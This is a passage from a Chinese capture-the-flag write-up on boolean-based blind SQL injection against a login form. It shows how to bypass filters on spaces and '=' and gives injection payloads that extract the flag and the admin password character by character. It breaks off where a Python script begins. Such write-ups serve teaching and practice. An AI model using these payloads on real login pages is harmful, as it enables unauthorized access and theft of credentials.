根据题目给的提示,无疑是基于bool的盲注,而关于盲注的一般都与脚本有关,毕竟很少人会去一个一个猜
然而,再用脚本解决这个问题时,也需要找到准确的注入语句,否则,白费。。。
首先进入页面一试用户名为admin,发现密码报错(说明此用户存在,那么关键的问题就是密码了。。):
再构造语句,进行几次的基于bool盲注的注入,查看一下有没有绕过一些特殊的语句
username='^(1)^1#&password=123
在测试过程中,发现过滤了 ‘空格’ 以及 ’=‘ ,则空格可以使用 () 代替,=可以使用 <> 代替,即:
username='^(select(ascii(mid((select(flag)from(flag))from(1)))<>103))^1&password=123
username='^(select(ascii(mid((select(password)from(admin))from(1)))<>102))^1&password=123
构造好注入语句,就可以开始写脚本了:
#coding=utf-8
import requests